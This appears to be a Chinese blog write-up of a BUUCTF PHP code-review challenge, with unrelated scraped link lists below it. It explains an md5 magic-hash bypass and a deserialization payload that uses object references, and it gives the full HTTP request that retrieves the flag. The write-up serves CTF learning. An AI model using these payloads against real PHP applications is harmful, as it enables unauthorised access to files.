BUUCTF 基础CODE REVIEW
1、说明:
题目来自于BUUCTF 的基础部分,内容就如题,是一个代码审计。代码如下:
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
2、代码内容分析
代码主要可以分为4部分,如下图
0部分为一个class
,而且在第三部分看见了反序列化unserialize($_POST['obj']);
内容,那么就十之八九是反序列化。但是先不用去处理。且在class中可以获得flag的值。
1部分为一个IF
满足进入的条件为get
传参的值为1
。
2部分也是一个IF
满足条件为post
传参的值为2
。
3部分也是一个IF
满足条件为 需要两个不同的数。且这两个不同的数值的md5
的却相同 。
如果 1、2、3 条件都满足之后就会执行反序列化,通过POST
传参obj
执行,然后进入区域0
。
0区域也有一个IF
满足条件为属性correct
与属性input
相等。 但是correct 却是利用一个时间进行计算的值的base64
值。
3、以上每个条件的满足方式
第一部分
只需要在url
中传参即可,如下图
第二部分
使用burpsuit截断内容,改变传输方式为POST。如下
改变为POST
之后, URL
中传值的1 也会自动下来, 需要手动调整上去。
第三部分
第三部分为md5值得比较。通常可以用数组
做比较绕过和弱类型
比较绕过。
这里使用弱类型比较绕过。
原理:PHP 当中使用==
来进行比较的时候,系统会自动处理数据类型, 进行分析是数字比较还是字符比较。 而当一个字符串值是e0开通的时候,那么就会被当中数值。而e0xxxxxx都为0.
那么就只需要找到两个不同的数值,开头却是以e0开头的即可。也是蛮多的,如下图中所示。
然后传参md51
和md52
即可。 这样就可以达到md51
与md52
不相同。 但是他们的md5值却在php中相等。
传参方式和post一样, 使用&
符号链接。 内容如下图:
反序列化与引用处理。
反序列化的处理方式很简单。 值需要将原class
中的方法去掉,放进php在线运行
中去,序列化一下即可获得可以运行的序列化内容。
如图:
但是以上序列化之后的字符串通过post['obj']
只能达到解析的目的。 解析后内容可以控制。却因为uniqid()函数产生的数是随时变化的,无法预测,所以input
传值多少无法确定。
这里就是本题的重要考点引用
的反序列化。 我们可以简单的把引用简单的理解为C
语言中的地址指针。
看如下代码
$a=&$b;
$a=1;//此时 输出$b 那么变量b就为1
$a=123;//此时输出$b 那么变量b就为123
由以上代码可以发现,当变量b为a的引用的时候,b的值随a变化。
道理我都懂了, 那么只需要$this->input
为 $this->correct
的引用即可。
即
$this->input=&$this->correct
构造方式如下图:
只需要在序列化的时候设置一下即可。
完整poc如下图
http报文如下
POST /?pleaseget=1 HTTP/1.1
Host: a27be653-d322-4e8f-96a8-07b27c77f559.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
pleasepost=2&md51=s1885207154a&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
私货
limanmanExp 5.2版本发布了。 增加了数据库审计插件。 想要的小伙伴可以看B站。
https://www.bilibili.com/video/BV1UK4y1U7G6
下载地址在简介中。 还附带了一些简单的exp插件。 如果有兴趣自定义开发插件,也可以在看云手册中查看开发方法
地址https://www.kancloud.cn/qq496672097/limanmanexp/2139143
BUUCTF 基础CODE REVIEW的更多相关文章
- 我们是怎么做Code Review的
前几天看了<Code Review 程序员的寄望与哀伤>,想到我们团队开展Code Review也有2年了,结果还算比较满意,有些经验应该可以和大家一起分享.探讨.我们为什么要推行Code ...
- <转>如何进行code review
转自: http://pm.readthedocs.org/zh_CN/latest/codereview/howto.html 如何进行code review? code reivew是保障代码质量 ...
- Code Review Engine Learning
相关学习资料 https://www.owasp.org/index.php/Code_review https://www.owasp.org/images/8/8e/OWASP_Code_Revi ...
- 什么是Code Review(转)
Code Review是一种通过复查代码提高代码质量的过程,在XP方法中占有极为重要的地位,也已经成为软件工程中一个不可缺少的环节.本文通过对Code Review的一些概念和经验的探讨,就如何进行C ...
- 什么是Code Review
Code Review 是一种通过复查代码提高代码质量的过程,在XP方法中占有极为重要的地位,也已经成为软件工程中一个不可缺少的环节. 本文通过对Code Review的一些概念和经验的探讨,就如何进 ...
- 如何在python脚本开发做code review
在软件项目开发中,我们经常提到一个词“code review”.code review中文翻译过来就是代码评审或复查,简而言之就是编码完成后由其他人通过阅读代码来检查代码的质量(可编译.可运行.可读. ...
- 基于GitLab的Code Review教程
一.前言 1.本文主要内容 GitLab Code Review机制说明 Git Workflow 与 Git Code Review Workflow GitLab Code Review 配置说明 ...
- 从code review到Git commit log
最近在读一本技术类的书:朱赟——<跃迁:从技术到管理的硅谷路径>,其中聊了很多很有趣的观点,比如:技术管理.技术实践.硅谷文化.个人成长等. 读到关于硅谷人如何做code review这一 ...
- Code review应该怎么做
代码评审有两种不同的方法,一种是代码走查,一种是代码审查,我们这里讨论的仅指代码走查.通常自己写的代码都难以发现问题,需要以第二双眼睛再次检查代码,帮助我们及时地发现潜在的问题. 做代码审查之前,团队 ...
随机推荐
- styled-components all in one
styled-components all in one CSS in JS https://www.styled-components.com/ https://github.com/styled- ...
- Async Programming All in One
Async Programming All in One Async & Await Frontend (async () => { const url = "https:// ...
- Flutter 使用p5
p5 工作示例 install dependencies: p5: ^0.0.5 main.dart import 'package:flutter/material.dart'; import &q ...
- LoveWord
个人喜欢的句子汇总! 我告诉你我喜欢你,并不是一定要和你在一起,只是希望今后的你,在遭遇人生低谷的时候,不要灰心,至少曾经有人被你的魅力所吸引,曾经是,以后也会是----村上村树
- [转]#include< > 和 #include” ” 的区别
原文网址:https://www.cnblogs.com/LeoFeng/p/5346530.html 一.#include< > #include< > 引用的是编译器的类库 ...
- [转]在ROS下使用zeroconf配置多机通信
原文地址:http://www.corvin.cn/635.html,转载主要方便随时查阅,如有版权要求,请及时联系. 0x00 为何需要配置ROS多机通信 众所周知ROS是分布式系统,因此可以将机器 ...
- Matplotlib 图表绘制工具学习笔记
import numpy as np import matplotlib.pyplot as plt import pandas as pd arr1 = np.random.rand(10)#一维数 ...
- websocket断网消息补发
注册irealtime 首先去irealtime网站注册一个账号,然后创建一个应用,注册过程请参考获取开发者账号和 appkey 创建页面 <!DOCTYPE html> <html ...
- Kubernetes-3.安装
docker version:19.03.14 kubernetes version:1.19.4 本文介绍使用kubeadm安装Kubernetes集群的简单过程. 目录 使用kubeadm安装k8 ...
- POJ-1797(最短路变形-dijkstra)
Heavy Transportation POJ-1797 这题是最短路题型的变形,该题不是求起点到终点的最短路,而是求路径中的最小边的最大值. 这题的求解思路是:将原来dijkstra中的松弛方程改 ...